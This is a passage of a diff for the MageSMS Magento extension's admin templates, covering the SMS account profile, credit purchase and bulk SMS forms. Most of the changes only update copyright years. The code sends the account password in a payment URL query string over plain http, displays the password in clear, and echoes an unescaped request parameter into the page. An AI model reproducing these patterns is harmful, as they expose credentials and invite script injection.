Mage::helper('magesms')->__('Invalid VAT'); ?></span></div></div><div class="entry-edit-head"><h4 class="fieldset-legend head-account"><?php echo Mage::helper('magesms')->__('Contact person'); ?></h4></div><div class="fieldset "><div class="margin-form"><label for="firstname"><?php echo Mage::helper('magesms')->__('First name:'); ?></label><input class="input-text" type="text" name="firstname" id="firstname" value="<?php echo $this->htmlEscape($user->getFirstname()); ?>" /></div><div class="margin-form"><label for="lastname"><?php echo Mage::helper('magesms')->__('Last name:'); ?></label><input class="input-text" type="text" name="lastname" id="lastname" value="<?php echo $this->htmlEscape($user->getLastname()); ?>" /></div></div><div class="entry-edit-head"><h4 class="fieldset-legend head-account"><?php echo Mage::helper('magesms')->__('Address'); ?></h4></div><div class="fieldset "><div class="margin-form"><label for="addressstreet"><?php echo Mage::helper('magesms')->__('Street:'); ?></label><input class="input-text" type="text" name="addressstreet" id="addressstreet" value="<?php echo $this->htmlEscape($user->getAddressstreet()); ?>" /></div><div class="margin-form"><label for="addresszip"><?php echo Mage::helper('magesms')->__('ZIP:'); ?></label><input class="input-text" type="text" name="addresszip" id="addresszip" value="<?php echo $this->htmlEscape($user->getAddresszip()); ?>" /></div><div class="margin-form"><label for="addresscity"><?php echo Mage::helper('magesms')->__('City:'); ?></label><input class="input-text" type="text" name="addresscity" id="addresscity" value="<?php echo $this->htmlEscape($user->getAddresscity()); ?>" /></div><div class="margin-form"><label for="country"><?php echo Mage::helper('magesms')->__('Country:'); ?></label><select name="country0" id="country" onchange="vatfield();"></select></div></div><?php if (!$user->getId()): ?><?php if (empty(Mage::getConfig()->getNode('default/config/referer')->id)): ?><div class="margin-form"><label for="refererid"><?php echo Mage::helper('magesms')->__('Referer ID:'); ?></label><input class="input-text" type="text" name="refererid" id="refererid" value="<?php echo $this->htmlEscape($user->getRefererid()); ?>" /></div><?php endif; ?><div class="margin-form"><?php $agree_url = Mage::getBaseUrl(Mage_Core_Model_Store::URL_TYPE_MEDIA).'magesms/licence_'; if (in_array(Mage::getStoreConfig('magesms/template/language'), array('cz', 'sk'))) $agree_url .= 'cz.pdf'; else $agree_url .= 'en.pdf'; ?><label class="form-required"><a href="<?php echo $agree_url; ?>"><?php echo Mage::helper('magesms')->__('View licence terms:'); ?></a></label><input type="radio" class="validate-agree" name="agree" id="agree1" style="float: left" value="1" /><label style="width: auto; margin: 0 15px 0 5px" class="form-required" for="agree1"><?php echo Mage::helper('magesms')->__('I agree'); ?></label><input type="radio" name="agree" id="agree2" style="float: left" value="2" checked /><label style="width: auto; margin-left: 5px" for="agree2"><?php echo Mage::helper('magesms')->__('I dont agree'); ?></label><div class="clear"></div></div><?php endif; ?><div class="margin-form"><input type="button" onclick="profilForm.submit();" value="<?php echo Mage::helper('magesms')->__($user->getId() ? 'Save' : 'Register'); ?>" class="form-button" /></div><div><span class="require">*</span> <?php echo Mage::helper('magesms')->__('Required field'); ?></div></form><script type="text/javascript">function changeProfile(elm) {var type = elm.target.value;$$("#magesms-profile div[id^='advice-required-entry-']").each(function(el) {el.remove()});if (type == "firm") {$$("#magesms-profile #companyname").each(function(el) {el.addClassName("required-entry")});$$("#magesms-profile label[for=companyname]").each(function(el) {el.addClassName("form-required")});$$('#magesms-profile .firm').each(function (element) {element.show();});vatfield();} else {$$("#magesms-profile #companyname").each(function(el) {el.removeClassName("required-entry")});$$("#magesms-profile label[for=companyname]").each(function(el) {el.removeClassName("form-required")});$$('#magesms-profile .firm').each(function (element) {element.hide();});}}Event.observe(window, "load", function() {country = {<?php foreach( $this->profile->country as $country ): ?>"<?php echo $this->htmlEscape($country->getData('name')); ?>": <?php echo $country->getData('vat'); ?>,<?php endforeach; ?>};for(var name in country) {var option = document.createElement('option');option.value = name;option.text = name;if (name == "<?php echo $user->country0 ? $user->country0 : $lang; ?>") {option.selected = true;}$('country').appendChild(option);}$$("#magesms-profile input[name=regtype]:checked")[0].click();$$("#magesms-profile select#country").each(function(el) {el.onchange(vatfield)});$$("#magesms-profile #companyvat").each(function(el) {Event.observe(el, 'blur', vatcheck)});vatfield();});function vatfield() {var selected = $$("#magesms-profile select#country")[0].value;if ( selected == "Czech Republic") {$$("#magesms-profile div.czech").each(function(element) {element.show()});} else {$$("#magesms-profile div.czech").each(function(element) {element.hide()});}if (country[selected] == 1) {$$("#magesms-profile div.vat").each(function(element) {element.show()});} else {$$("#magesms-profile div.vat").each(function(element) {element.hide()});}vatcheck();}function vatcheck() {if ($$("#magesms-profile input[name=regtype]:checked")[0].value == "firm") {var selected = $$("#magesms-profile select#country")[0].value;var vat = $$("#magesms-profile #companyvat")[0].value;if (country[selected] && vat) {new Ajax.Request("<?php echo Mage::helper("adminhtml")->getUrl('*/*/vatvalidate') ?>", {method: 'get',parameters: {country:selected, companyvat:vat},onSuccess: function(transport) {if (transport.responseText != "true") {$$("#magesms-profile .vat input")[0].addClassName("invalidvat").removeClassName("validvat");$$("#magesms-profile .vat .error")[0].style.display = "inline";} else {$$("#magesms-profile .vat input")[0].removeClassName("invalidvat").addClassName("validvat");$$("#magesms-profile .vat .error")[0].style.display = "none";}}});}}}$("reg-type1").addEventListener('click', changeProfile);$("reg-type2").addEventListener('click', changeProfile);</script></div><script type="text/javascript">//<![CDATA[
25
  var profilForm = new varienForm('magesms_profil', '<?php echo Mage::helper("adminhtml")->getUrl('*/*/validate') ?>');profilForm._processValidationResult = function(transport) {var response = transport.responseText.evalJSON();if (response.error){if (response.attribute && $(response.attribute)) {$(response.attribute).setHasError(true, productForm);Validation.ajaxError($(response.attribute), response.message);if (!Prototype.Browser.IE){$(response.attribute).focus();}}else if ($('messages')) {$('messages').innerHTML = '' + response.message + '';}}else{profilForm._submit();}};Validation.add('validate-agree','You have to agree with licence terms.', function(v) {return $('agree1').checked && !$('agree2').checked;});Translator.add('You have to agree with licence terms.','<?php echo Mage::helper('magesms')->__('You have to agree with licence terms.')?>');
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  ?><?php $user = $this->profile->user; ?><?php $lang = $this->profile->lang; ?><script type="text/javascript">//<![CDATA[
19
  var loginForm = new varienForm('magesms_login', '<?php echo $this->getUrl('*/*/login') ?>');loginForm._processValidationResult = function(transport) {var response = transport.responseText.evalJSON();if (response.error){if (response.attribute && $(response.attribute)) {$(response.attribute).setHasError(true, productForm);Validation.ajaxError($(response.attribute), response.message);if (!Prototype.Browser.IE){$(response.attribute).focus();}}else if ($('messages')) {$('messages').innerHTML = '<ul class="messages"><li class="error-msg"><ul><li>' + response.message + '</li></ul></li></ul>';}}else{loginForm._submit();}};
20
  //]]></script><?php else: ?><div class="entry-edit"><div class="entry-edit-head"><h4 class="icon-head fieldset-legend head-account"><img src="<?php echo Mage::getBaseUrl(Mage_Core_Model_Store::URL_TYPE_MEDIA).'magesms/AdminEmployees.gif'; ?>" alt="" /> <?php echo Mage::helper('magesms')->__('User account info'); ?></h4></div><div class="fieldset "><div><div class="margin-form"><label class="form-required"><?php echo Mage::helper('magesms')->__('Username:'); ?></label><span class="required-entry input-text"><?php echo $user->user; ?></span></div><div class="margin-form"><label class="form-required"><?php echo Mage::helper('magesms')->__('Password:'); ?></label><span class="required-entry input-text"><?php echo $user->passwd; ?></span></div><div class="margin-form"><label class="form-required"><?php echo Mage::helper('magesms')->__('SMS Credit:'); ?></label><span class="required-entry input-text"><?php echo $this->profile->credit; ?></span></div></div></div></div><div class="entry-edit"><?php $admins = $this->profile->admins; ?><?php if ($adminedit = Mage::app()->getRequest()->getParam('adminedit')): ?><?php $edit = $admins->load($adminedit); ?><?php else: ?><?php $edit = Mage::getModel('magesms/admins'); ?><?php endif; ?><div class="entry-edit-head"><h4 class="icon-head fieldset-legend head-account"><img src="<?php echo Mage::getBaseUrl(Mage_Core_Model_Store::URL_TYPE_MEDIA).'magesms/AdminEmployees.gif'; ?>" alt="" /> <?php echo Mage::helper('magesms')->__('Add administrators'); ?></h4></div><div class="fieldset "><form id="magesms_admins" action="<?php echo $this->getUrl('*/*/saveadmin') ?>" method="post"><?php echo $this->getBlockHtml('formkey')?><div><div class="margin-form"><label class="form-required" for="name"><?php echo Mage::helper('magesms')->__('Name:'); ?> <span class="required">*</span></label><input class="required-entry input-text" type="text" name="name" id="name" value="<?php echo $this->htmlEscape($edit->getName()); ?>" /></div><div class="margin-form"><label class="form-required" for="number"><?php echo Mage::helper('magesms')->__('Mobile number:'); ?> <span class="required">*</span></label><input class="required-entry input-text validate-number" type="text" name="number" id="number" value="<?php echo $this->htmlEscape($edit->getNumber()); ?>" /><div><?php echo Mage::helper('magesms')->__('in international format, no leading zeros or a “+” sign, e.g., 447971796595'); ?></div></div><div class="margin-form"><input type="hidden" name="id" value="<?php echo $adminedit; ?>" /><input type="button" onclick="adminsForm.submit();" value="<?php echo Mage::helper('magesms')->__($adminedit ? 'Edit' : 'Add'); ?>" class="form-button" /></div><?php if ($admins->getCollection()->count()): ?><div class="grid"><table class="data"><colgroup><col /><col /><col width="60" /><col width="60" /></colgroup><?php $even = 1; foreach( $admins->getCollection() as $_admins ): if ($even) $even = 0; else $even = 1; ?><tr class="hover <?php if ($even) echo 'even'?> pointer"><td><?php echo $_admins->name; ?></td><td><?php echo $_admins->number; ?></td><td class="a-center"><a href="<?php echo Mage::helper("adminhtml")->getUrl('*/*/*', array('adminedit' => $_admins->getId())) ?>" title="<?php echo Mage::helper('magesms')->__('EDIT administrator'); ?>"><?php echo Mage::helper('magesms')->__('edit'); ?></a></td><td class="a-center last"><a href="<?php echo Mage::helper("adminhtml")->getUrl('*/*/deleteadmin', array('id' => $_admins->getId())) ?>" title="<?php echo Mage::helper('magesms')->__('DELETE administrator'); ?>" onclick="return confirm('<?php echo Mage::helper('magesms')->__('Are you sure to delete').' '.$_admins->name.'?'; ?>')"><?php echo Mage::helper('magesms')->__('delete'); ?></a></td></tr><?php endforeach; ?></table></div><?php endif; ?><div><span class="require">*</span> <?php echo Mage::helper('magesms')->__('Required field'); ?></div></div></form></div><script type="text/javascript">//<![CDATA[
21
  var adminsForm = new varienForm('magesms_admins', '<?php echo Mage::helper("adminhtml")->getUrl('*/*/validateadmin', array('id' => Mage::app()->getRequest()->getParam('adminedit', 0))) ?>');
22
+ //]]></script></div><div class="entry-edit"><div class="entry-edit-head"><h4 class="icon-head fieldset-legend head-account"><img src="<?php echo Mage::getBaseUrl(Mage_Core_Model_Store::URL_TYPE_MEDIA).'magesms/AdminEmployees.gif'; ?>" alt="" /> <?php echo Mage::helper('magesms')->__('Other settings'); ?></h4></div><div class="fieldset "><form id="magesms_settings" action="<?php echo $this->getUrl('*/*/savesettings') ?>" method="post"><input name="form_key" type="hidden" value="<?php echo Mage::getSingleton('core/session')->getFormKey() ?>" /><div><div class="margin-form"><label for="simulatesms"><?php echo Mage::helper('magesms')->__('Simulate SMS sending:'); ?></label><input type="checkbox" name="simulatesms" id="simulatesms" value="1" <?php echo $user->getSimulatesms() ? 'checked' : ''; ?> /><span class="help" onclick="popup_title(this)" title="<?php echo Mage::helper('magesms')->__('Allows to test sending of SMS in modul and to view sent SMS in SMS history with a special status.'); ?>" style="cursor:help;text-decoration:underline;">?</span></div><div class="margin-form"><label for="URLreports"><?php echo Mage::helper('magesms')->__('Delivery reports:'); ?></label><input type="checkbox" name="URLreports" id="URLreports" value="1" <?php echo $user->getData('URLreports') ? 'checked' : ''; ?> /><span class="help" onclick="popup_title(this)" title="<?php echo Mage::helper('magesms')->__('Allows to see delivery reports of SMS in SMS history Tab.'); ?>" style="cursor:help;text-decoration:underline;">?</span></div><div class="margin-form"><label for="pocetkredit"><?php echo Mage::helper('magesms')->__('Low credit alert:'); ?></label><input type="text" class="input-text" size="3" name="pocetkredit" id="pocetkredit" value="<?php echo $user->getPocetkredit() ? $user->getPocetkredit() : 0; ?>" /><span class="help" onclick="popup_title(this)" title="<?php echo Mage::helper('magesms')->__(' Allows to receive email when your SMS credit is low.'); ?>" style="cursor:help;text-decoration:underline;">?</span><span class="help2"><?php echo Mage::helper('magesms')->__('(0 = no alert)'); ?></span></div><div class="margin-form"><label for="deliveryemail"><?php echo Mage::helper('magesms')->__('Email for delivery reports:'); ?></label><input type="text" class="input-text validate-email" name="deliveryemail" id="deliveryemail" value="<?php echo $this->htmlEscape($user->getDeliveryemail()); ?>" /><span class="help" onclick="popup_title(this)" title="<?php echo Mage::helper('magesms')->__('Allows to receive email with delivery report of SMS.'); ?>" style="cursor:help;text-decoration:underline;">?</span></div><div class="margin-form"><label for="deliveryReportsErrorOnly"><?php echo Mage::helper('magesms')->__('Undelivered only:'); ?></label><input type="checkbox" name="deliveryReportsErrorOnly" id="deliveryReportsErrorOnly" value="1" <?php echo $user->getData('deliveryReportsErrorOnly') ? 'checked' : ''; ?> /></div><div class="margin-form"><label style="width: 210px; margin: 0 20px 1em 0;"><?php echo Mage::helper('magesms')->__('For sending SMS prefer phone nr. from:'); ?></label><div style="white-space:nowrap"><input type="radio" class="input-text" name="prefbilling" id="prefbilling0" value="0" <?php echo !$user->getPrefbilling() ? 'checked' : ''; ?> /><label for="prefbilling0" style="width: auto; display: inline; float: none"><?php echo Mage::helper('magesms')->__('invoice address'); ?></label></div><div style="white-space:nowrap"><input type="radio" class="input-text" name="prefbilling" id="prefbilling1" value="1" <?php echo $user->getPrefbilling() ? 'checked' : ''; ?> /><label for="prefbilling1" style="width: auto; display: inline; float: none"><?php echo Mage::helper('magesms')->__('delivery address'); ?></label></div><div class="clear"></div></div><div class="margin-form"><input type="button" onclick="settingsForm.submit();" value="<?php echo Mage::helper('magesms')->__('Save'); ?>" class="form-button" /></div></div></form><script type="text/javascript">//<![CDATA[
23
  var settingsForm = new varienForm('magesms_settings', '<?php echo Mage::helper("adminhtml")->getUrl('*/*/validatesettings') ?>');
24
  //]]></script></div></div><?php endif; ?></div><div class="float-left"><div class="entry-edit"><div class="entry-edit-head"><h4 class="icon-head fieldset-legend head-account"><img src="<?php echo Mage::getBaseUrl(Mage_Core_Model_Store::URL_TYPE_MEDIA).'magesms/AdminEmployees.gif'; ?>" alt="" /> <?php echo Mage::helper('magesms')->__($user->getUser() ? 'Edit user account' : 'New user account'); ?></h4></div><div class="fieldset "><form id="magesms_profil" action="<?php echo $this->getUrl('*/*/save') ?>" method="post"><input name="form_key" type="hidden" value="<?php echo Mage::getSingleton('core/session')->getFormKey() ?>" /><?php if (!$user->getUser()): ?><p><?php echo Mage::helper('magesms')->__('Not registered yet? Create account now!'); ?></p><?php endif; ?><div class="margin-form"><label class="form-required" for="email"><?php echo Mage::helper('magesms')->__('Email:'); ?> <span class="required">*</span></label><input class="required-entry input-text validate-email" type="text" name="email" id="email" value="<?php echo $this->htmlEscape($user->getEmail()); ?>" /></div><div class="margin-form"><label class="form-required"><?php echo Mage::helper('magesms')->__('Registration type:'); ?></label><input type="radio" name="regtype" id="reg-type1" style="float: left" value="person" <?php echo !$user->getRegtype() || $user->getRegtype() =='person' ? 'checked' : ''; ?> /><label style="width: auto; margin: 0 15px 0 5px" for="reg-type1"><?php echo Mage::helper('magesms')->__('Personal'); ?></label><input type="radio" name="regtype" id="reg-type2" style="float: left" value="firm" <?php echo $user->getRegtype() =='firm' ? 'checked' : ''; ?> /><label style="width: auto; margin-left: 5px" for="reg-type2"><?php echo Mage::helper('magesms')->__('Business'); ?></label><div class="clear"></div></div><div class="entry-edit-head firm"><h4 class="fieldset-legend head-account"><?php echo Mage::helper('magesms')->__('Billing information'); ?></h4></div><div class="fieldset firm"><div class="margin-form"><label class="" for="companyname"><?php echo Mage::helper('magesms')->__('Company name:'); ?> <span class="required">*</span></label><input class="input-text" type="text" name="companyname" id="companyname" value="<?php echo $this->htmlEscape($user->getCompanyname()); ?>" /></div><div class="margin-form firm czech" style="display: none;"><label for="companyid"><?php echo Mage::helper('magesms')->__('Company ID:'); ?></label><input class="input-text" type="text" name="companyid" id="companyid" value="<?php echo $this->htmlEscape($user->getCompanyid()); ?>" /></div><div class="margin-form firm vat" style="display: none;"><label for="companyvat"><?php echo Mage::helper('magesms')->__('Company VAT:'); ?></label><input class="input-text" type="text" name="companyvat" id="companyvat" value="<?php echo $this->htmlEscape($user->getCompanyvat()); ?>" /><span class="error" style="display: none"><?php echo Mage::helper('magesms')->__('Invalid VAT'); ?></span></div></div><div class="entry-edit-head"><h4 class="fieldset-legend head-account"><?php echo Mage::helper('magesms')->__('Contact person'); ?></h4></div><div class="fieldset "><div class="margin-form"><label for="firstname"><?php echo Mage::helper('magesms')->__('First name:'); ?></label><input class="input-text" type="text" name="firstname" id="firstname" value="<?php echo $this->htmlEscape($user->getFirstname()); ?>" /></div><div class="margin-form"><label for="lastname"><?php echo Mage::helper('magesms')->__('Last name:'); ?></label><input class="input-text" type="text" name="lastname" id="lastname" value="<?php echo $this->htmlEscape($user->getLastname()); ?>" /></div></div><div class="entry-edit-head"><h4 class="fieldset-legend head-account"><?php echo Mage::helper('magesms')->__('Address'); ?></h4></div><div class="fieldset "><div class="margin-form"><label for="addressstreet"><?php echo Mage::helper('magesms')->__('Street:'); ?></label><input class="input-text" type="text" name="addressstreet" id="addressstreet" value="<?php echo $this->htmlEscape($user->getAddressstreet()); ?>" /></div><div class="margin-form"><label for="addresszip"><?php echo Mage::helper('magesms')->__('ZIP:'); ?></label><input class="input-text" type="text" name="addresszip" id="addresszip" value="<?php echo $this->htmlEscape($user->getAddresszip()); ?>" /></div><div class="margin-form"><label for="addresscity"><?php echo Mage::helper('magesms')->__('City:'); ?></label><input class="input-text" type="text" name="addresscity" id="addresscity" value="<?php echo $this->htmlEscape($user->getAddresscity()); ?>" /></div><div class="margin-form"><label for="country"><?php echo Mage::helper('magesms')->__('Country:'); ?></label><select name="country0" id="country" onchange="vatfield();"></select></div></div><?php if (!$user->getId()): ?><?php if (empty(Mage::getConfig()->getNode('default/config/referer')->id)): ?><div class="margin-form"><label for="refererid"><?php echo Mage::helper('magesms')->__('Referer ID:'); ?></label><input class="input-text" type="text" name="refererid" id="refererid" value="<?php echo $this->htmlEscape($user->getRefererid()); ?>" /></div><?php endif; ?><div class="margin-form"><?php $agree_url = Mage::getBaseUrl(Mage_Core_Model_Store::URL_TYPE_MEDIA).'magesms/licence_'; if (in_array(Mage::getStoreConfig('magesms/template/language'), array('cz', 'sk'))) $agree_url .= 'cz.pdf'; else $agree_url .= 'en.pdf'; ?><label class="form-required"><a href="<?php echo $agree_url; ?>"><?php echo Mage::helper('magesms')->__('View licence terms:'); ?></a></label><input type="radio" class="validate-agree" name="agree" id="agree1" style="float: left" value="1" /><label style="width: auto; margin: 0 15px 0 5px" class="form-required" for="agree1"><?php echo Mage::helper('magesms')->__('I agree'); ?></label><input type="radio" name="agree" id="agree2" style="float: left" value="2" checked /><label style="width: auto; margin-left: 5px" for="agree2"><?php echo Mage::helper('magesms')->__('I dont agree'); ?></label><div class="clear"></div></div><?php endif; ?><div class="margin-form"><input type="button" onclick="profilForm.submit();" value="<?php echo Mage::helper('magesms')->__($user->getId() ? 'Save' : 'Register'); ?>" class="form-button" /></div><div><span class="require">*</span> <?php echo Mage::helper('magesms')->__('Required field'); ?></div></form><script type="text/javascript">function changeProfile(elm) {var type = elm.target.value;$$("#magesms-profile div[id^='advice-required-entry-']").each(function(el) {el.remove()});if (type == "firm") {$$("#magesms-profile #companyname").each(function(el) {el.addClassName("required-entry")});$$("#magesms-profile label[for=companyname]").each(function(el) {el.addClassName("form-required")});$$('#magesms-profile .firm').each(function (element) {element.show();});vatfield();} else {$$("#magesms-profile #companyname").each(function(el) {el.removeClassName("required-entry")});$$("#magesms-profile label[for=companyname]").each(function(el) {el.removeClassName("form-required")});$$('#magesms-profile .firm').each(function (element) {element.hide();});}}Event.observe(window, "load", function() {country = {<?php foreach( $this->profile->country as $country ): ?>"<?php echo $this->htmlEscape($country->getData('name')); ?>": <?php echo $country->getData('vat'); ?>,<?php endforeach; ?>};for(var name in country) {var option = document.createElement('option');option.value = name;option.text = name;if (name == "<?php echo $user->country0 ? $user->country0 : $lang; ?>") {option.selected = true;}$('country').appendChild(option);}$$("#magesms-profile input[name=regtype]:checked")[0].click();$$("#magesms-profile select#country").each(function(el) {el.onchange(vatfield)});$$("#magesms-profile #companyvat").each(function(el) {Event.observe(el, 'blur', vatcheck)});vatfield();});function vatfield() {var selected = $$("#magesms-profile select#country")[0].value;if ( selected == "Czech Republic") {$$("#magesms-profile div.czech").each(function(element) {element.show()});} else {$$("#magesms-profile div.czech").each(function(element) {element.hide()});}if (country[selected] == 1) {$$("#magesms-profile div.vat").each(function(element) {element.show()});} else {$$("#magesms-profile div.vat").each(function(element) {element.hide()});}vatcheck();}function vatcheck() {if ($$("#magesms-profile input[name=regtype]:checked")[0].value == "firm") {var selected = $$("#magesms-profile select#country")[0].value;var vat = $$("#magesms-profile #companyvat")[0].value;if (country[selected] && vat) {new Ajax.Request("<?php echo Mage::helper("adminhtml")->getUrl('*/*/vatvalidate') ?>", {method: 'get',parameters: {country:selected, companyvat:vat},onSuccess: function(transport) {if (transport.responseText != "true") {$$("#magesms-profile .vat input")[0].addClassName("invalidvat").removeClassName("validvat");$$("#magesms-profile .vat .error")[0].style.display = "inline";} else {$$("#magesms-profile .vat input")[0].removeClassName("invalidvat").addClassName("validvat");$$("#magesms-profile .vat .error")[0].style.display = "none";}}});}}}$("reg-type1").addEventListener('click', changeProfile);$("reg-type2").addEventListener('click', changeProfile);</script></div><script type="text/javascript">//<![CDATA[
25
  var profilForm = new varienForm('magesms_profil', '<?php echo Mage::helper("adminhtml")->getUrl('*/*/validate') ?>');profilForm._processValidationResult = function(transport) {var response = transport.responseText.evalJSON();if (response.error){if (response.attribute && $(response.attribute)) {$(response.attribute).setHasError(true, productForm);Validation.ajaxError($(response.attribute), response.message);if (!Prototype.Browser.IE){$(response.attribute).focus();}}else if ($('messages')) {$('messages').innerHTML = '' + response.message + '';}}else{profilForm._submit();}};Validation.add('validate-agree','You have to agree with licence terms.', function(v) {return $('agree1').checked && !$('agree2').checked;});Translator.add('You have to agree with licence terms.','<?php echo Mage::helper('magesms')->__('You have to agree with licence terms.')?>');
app/design/adminhtml/default/default/template/topefekt/magesms/purchasecredit.phtml CHANGED
@@ -10,7 +10,7 @@
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
- * @copyright Copyright (c) 2012-2015 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  ?><?php $user = $this->profile->user; ?><?php $url = 'pay.topefekt.com/pay.php?user='.$user->getUser().'&passwd='.$user->getPasswd().'&country='.$user->getCountry0(); ?><?php if (Mage::getModel('magesms/country')->getCollection()->addFieldToFilter('name', $user->getCountry0())->getFirstItem()->getVat()): ?><?php $url .= '&vat=0'; ?><?php else: ?><?php $url .= '&vat=1'; ?><?php endif; ?><h2><?php echo Mage::helper('magesms')->__('Purchase Credit'); ?></h2><p><?php echo Mage::helper('magesms')->__(' In case methods for credit purchase are not displayed properly, please click here:'); ?><a href="http://<?php echo $url; ?>" target="_blank"><?php echo Mage::helper('magesms')->__('Purchase Credit'); ?></a></p><br /><iframe frameborder="no" style="margin:0px;padding:0px;width:100%;height:400px" src="https://<?php echo $url.'&parentUrl='.Mage::getBaseUrl(Mage_Core_Model_Store::URL_TYPE_WEB);?>"></iframe>
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  ?><?php $user = $this->profile->user; ?><?php $url = 'pay.topefekt.com/pay.php?user='.$user->getUser().'&passwd='.$user->getPasswd().'&country='.$user->getCountry0(); ?><?php if (Mage::getModel('magesms/country')->getCollection()->addFieldToFilter('name', $user->getCountry0())->getFirstItem()->getVat()): ?><?php $url .= '&vat=0'; ?><?php else: ?><?php $url .= '&vat=1'; ?><?php endif; ?><h2><?php echo Mage::helper('magesms')->__('Purchase Credit'); ?></h2><p><?php echo Mage::helper('magesms')->__(' In case methods for credit purchase are not displayed properly, please click here:'); ?><a href="http://<?php echo $url; ?>" target="_blank"><?php echo Mage::helper('magesms')->__('Purchase Credit'); ?></a></p><br /><iframe frameborder="no" style="margin:0px;padding:0px;width:100%;height:400px" src="https://<?php echo $url.'&parentUrl='.Mage::getBaseUrl(Mage_Core_Model_Store::URL_TYPE_WEB);?>"></iframe>
app/design/adminhtml/default/default/template/topefekt/magesms/sendsms.phtml CHANGED
@@ -10,7 +10,7 @@
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
- * @copyright Copyright (c) 2012-2015 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  ?><?php $user = $this->profile->user; ?><?php $lang = $this->profile->lang; ?><h2><?php echo Mage::helper('magesms')->__('Send SMS'); ?></h2><p><?php echo Mage::helper('magesms')->__('Send SMS or bulk SMS. Enter mobile numbers or upload CSV file.'); ?></p><div id="magesms"><form name="formSMS" id="magesms_sendsms" action="<?php echo Mage::helper("adminhtml")->getUrl('*/*/send') ?>" enctype="multipart/form-data" method="post"><div class="entry-edit"><div class="entry-edit-head"><h4 class="icon-head fieldset-legend head-account"><img src="<?php echo Mage::getBaseUrl(Mage_Core_Model_Store::URL_TYPE_MEDIA).'magesms/AdminTools.gif'; ?>" alt="" /> <?php echo Mage::helper('magesms')->__('Bulk SMS text'); ?></h4><span class="right"><a href="<?php echo Mage::helper("adminhtml")->getUrl('*/*/template', array('action'=>'saveTemplate')); ?>" title="<?php echo Mage::helper('magesms')->__('Save template'); ?>" onclick="showPopup(this);return false;">[<?php echo Mage::helper('magesms')->__('Save template'); ?>]</a>&nbsp;&nbsp;&nbsp;<a href="<?php echo Mage::helper("adminhtml")->getUrl('*/*/template', array('action'=>'loadTemplate')); ?>" title="<?php echo Mage::helper('magesms')->__('Saved Templates'); ?>" onclick="showPopup(this);return false;">[<?php echo Mage::helper('magesms')->__('Saved Templates'); ?>]</a></span></div><div class="fieldset"><input name="form_key" type="hidden" value="<?php echo Mage::getSingleton('core/session')->getFormKey() ?>" /><div style="float: left;margin-right:30px;width:450px"><label for="text"><?php echo Mage::helper('magesms')->__('Enter SMS text'); ?></label><br /><div class="margin-form"><textarea name="text" id="text" class="required-entry input-text" style="width:420px; height:135px;"><?php echo $this->getRequest()->getParam('text'); ?></textarea></div><div class="clear"></div><span style="font-size:10px;"><?php echo Mage::helper('magesms')->__('Possible variables:'); ?><br /></span><?php echo $this->getSelectStore(); ?><span style="font-size:10px;"><div id="notice"><?php echo $this->getNotice(); ?></div></span></div><div style="float: left;margin-right:30px;"><label for="text"><?php echo Mage::helper('magesms')->__('Preview'); ?> (<span id="labelSMS"></span>)</label><br /><div class="margin-form"><textarea name="textfake" id="textfake" disabled="disabled" class="required-entry input-text" style="width:420px; height:135px;border:1px solid grey;"></textarea></div></div><div style="float: left;margin-top:1.5em;"><div class="margin-form"><input id="unicode" type="checkbox" value="1" name="unicode" <?php echo $this->getRequest()->getParam('unicode') ? 'checked' : ''; ?> /><label for="unicode"><?php echo Mage::helper('magesms')->__(' Unicode '); ?></label><span style="cursor:help;text-decoration:underline;" title="<?php echo Mage::helper('magesms')->__('Check only if you want to use Chinese, Arabic, Greek, Hebrew, Korean, Cyrillic, etc. or diacritic in the text of your SMS message (Unicode text allows you to insert characters in all fonts and various other symbols simultaneously. Number of characters in one SMS will be reduced to 70).'); ?>" onclick="popup_title(this)">?</span></div><div class="margin-form"><input type="hidden" value="0" name="unique" /><input id="unique" type="checkbox" value="1" name="unique" <?php echo $this->getRequest()->getParam('unique') === '0' ? '' : 'checked'; ?> /><label for="unique"><?php echo Mage::helper('magesms')->__('Remove duplicate numbers'); ?></label></div><div class="margin-form" style="margin-top: 10px"><input id="sendlater" type="checkbox" value="1" onchange="sendlaterx(this)" name="sendlater" <?php echo $this->getRequest()->getParam('sendlater') ? 'checked' : ''; ?> /><label for="sendlater"><?php echo Mage::helper('magesms')->__(' Send later '); ?></label></div><div class="margin-form sendlater-form" id="sendlater-form" style="display: none; padding: 5px 0 0 20px"><label for="date"><?php echo Mage::helper('magesms')->__('Date:'); ?></label><input type="text" style="width: 100px;" class="input-text validate-sendlater-datumodesl" value="<?php echo $this->getRequest()->getParam('datumodesl', Mage::app()->getLocale()->date(Mage::getModel('core/date')->timestamp()+24*60*60, null, null, false)->toString(Mage::app()->getLocale()->getDateFormat(Mage_Core_Model_Locale::FORMAT_TYPE_MEDIUM))); ?>" id="datumodesl" name="datumodesl"/><img style="cursor:pointer" title="<?php echo Mage::helper('magesms')->__('Calendar'); ?>" id="date_select_trig" class="v-middle" alt="" src="<?php echo $this->getSkinUrl("images/grid-cal.gif");?> "/>&nbsp;&nbsp;&nbsp;&nbsp;<label for="date"><?php echo Mage::helper('magesms')->__('Time: '); ?></label><select name="datumodesl_hour"><?php for($hour=1;$hour<=24;$hour++): ?><option value="<?php echo $hour; ?>" <?php echo $this->getRequest()->getParam('datumodesl_hour', 9) == $hour ? 'selected' : ''; ?>><?php printf('%02d', $hour); ?></option><?php endfor; ?></select>:<select name="datumodesl_min"><?php for($min=0;$min<=59;$min++): ?><option value="<?php echo $min; ?>" <?php echo $this->getRequest()->getParam('datumodesl_min', 00) == $min ? 'selected' : ''; ?>><?php printf('%02d', $min); ?></option><?php endfor; ?></select><script type="text/javascript">//<![CDATA[
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
